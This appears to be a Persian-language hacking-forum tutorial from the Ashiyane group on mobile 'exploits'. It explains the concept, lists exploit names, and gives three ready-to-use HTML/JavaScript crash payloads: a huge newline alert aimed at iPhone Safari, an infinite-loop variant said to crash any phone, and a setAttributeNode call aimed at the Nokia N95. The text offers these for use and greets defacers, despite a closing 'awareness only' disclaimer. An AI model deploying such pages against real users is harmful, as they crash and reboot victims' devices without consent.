IN THE NAME OF GOD


**Author : NobodyCoder**

**Date : 25 shahrivar 1388**

**Topic Link in Our Forum :** http://www.ashiyane.org/forums/showthread.php?t=13785

**My User link in Forum :** http://www.ashiyane.org/forums/member.php?u=1024269

**GrE3tZ : All Ashiyane Administrators , Moderators , super mod & all Defacers !**



**Mail : nobodycoder@ymail.com**

# مقدمه :

با سلام خدمت همه اعضا ! خیلی خوشحالم که دوستان مقالات را دنبال کردند و تشکرات فراوانشان واقعا باعث شد که من این تاپیک را با انرژی ادامه دهم ! خوب دوستانی که مقالات قبل رو نخوانده اند ابتدا مقالات قبلی را مطالعه نمایند سپس این مقاله و مقاله های بعدی را مطالعه نمایندAdvanced Mobile ! زیرا از این مقاله به بعد وارد خوب بخش پیشرفته در هک موبایل می شویم ! Hacking

حالا فرق موبایل هکینگ پیشرفته با ابتدایی چیست ؟

در مقالات پیشرفته استفاده از اکسپلویت ها و نفوذ و امن سازی رو شروع میکنیم ! بنابراین ابتدا مفاهیم ابتدایی را مطالعه کنید سپس این مقالات !

در این مقاله درباره اکسپلویت ها توضیح داده ام و استفاده از یک کد را کاملا توضیح داده ام ! خوب ، درس را از صفحه بعد آغاز می نماییم !

با تشکر از تمام دوستان در فروم آشیانه

# اکسپلویت موبایل چیست ؟

اکسپلویت موبایل با اکسپلویت کامپیوتر فرقی ندارد ! اکسپلویت در موبایل هم کدهای مخربی برای نفوذ به سیستم و سوء استفاده از ضعف های امنیتی نرم افزار ها نامیده می شود ! اما همانطور که می دانید اکسپلویت های مختلفی دارند ! هر اکسپلویتی برای نوع SQLiها در کامپیوتر مدل باگ مخصوصش هست ! مثل

و . . . ! خوب در مورد انواع اکسپلویت در موبایل توضیح می دهیم :

# انواع اکسپلویت موبایل ؟

اکسپلویت موبایل با اکسپلویت کامپیوتر فرقی ندارد ! اکسپلویت در موبایل هم کدهای مخربی برای نفوذ به سیستم و سوء استفاده از ضعف های امنیتی نرم افزار ها نامیده می شود ! اما همانطور که می دانید اکسپلویت

های مختلفی دارند ! هر اکسپلویتی برای نوع SQLiها در کامپیوتر مدل باگ مخصوصش هست ! مثل

و . . . ! همچنین هر اکسپلویتی مخصوص سیستم عامل خاصی می باشد !

قابل ذکر است که تعریفی که از اکسپلویت برای موبایل گفتم باید کاملا اجرا شود ! منظورم این است که اگر یک کد مخرب باشد ولی کمکی به نفوذ نکند اسمش اکسپلویت نیست و یک کد مخرب است ! خوب . . .

در این مقاله یک کد مخرب را برای آغاز کار مطالعه می کنیم و در مقالات بعدی انشا ا . . . اکسپلویت های حرفه ای تر و . . . مطالعه می شوند .

کد زیر را نگاه کنید :

```
<html>
<body>
<script>
var a = '';
for (var i = 1; i <= 500000; i++)
{
  a += '\n';
}
alert(a);
</script>
</body>
</html>
```

کد بالا یک صفحه اچ تی ام ال هستش که توش از یه اسکریپت استفاده شده است ! خوب کد مخرب بالا مخصوص سیستم عامل آیفون و آی پاد

تاچ (مک) و برای نرم افزار سافاری (مرورگر اپل) می باشد ! کد بالا از مشکلات نرم افزار سافاری سوء استفاده کرده و توسط اسکریپت باعث ریبوت شدن و کرش کردن گوشی می شود ! اگر با اسکریپت نویسی آشنا باشید کد بسیار ساده فوق را می توانید مطالعه کنید !

خوب ، برای کرش کردن گوشی های دیگر باید چه کار کنیم !؟

می توانید از کد زیر استفاده کنید ! کد زیر به صورتی نوشته شده است که همه گوشی ها کرش و سپس ریبوت خواهند شد (در صفحه بعد)

```
<html>
<body>
<script>
var a='';
while(true){
   a+='\n';
}
alert(a);
</script>
</body>
</html>
```

خوب کد فوق نیز با کد قبلی فرق چندانی ندارد ! اما کد ها را با هم مقایسه کنید ! با کمی تغییر از ایفون تبدیل شد به همه گوشی ها ! باز هم تکرار می کنم ! این اکسپلویت نیست . یک کد مخرب است !

اکسپلویت ها نیز بیشتر از طریق نرم افزار ها نفوذ می کنند ! در زیر چند نوع اکسپلویت برای موبایل را نام بردم :

```
FTP Service Directory Traversal
remote overflow reboot PoC
setAttributeNode
```

& ...

خوب کد زیر نیز برای کرش کردن نوکیا (N95) استفاده می شود :

```
<input type='checkbox' id='c'>
<script>
r=document.getElementById('c');
a=r.setAttributeNode();
</script>
```

کد ها خیلی ساده اند ! اما . . . ؟!

با تشکر از :

تمام اعضای تیم آشیانه ! (مدیران ، اعضای انجمن ، سوپر مدیران و مدیر کل ها)

توجه داشته باشید که این مقالات فقط برای افزایش آگاهی و بالابردن امنیت انجام نوشته می شوند !

NOBODYCODER@YMAIL.COM

ASHIYANE DIGITAL SECURITY TEAM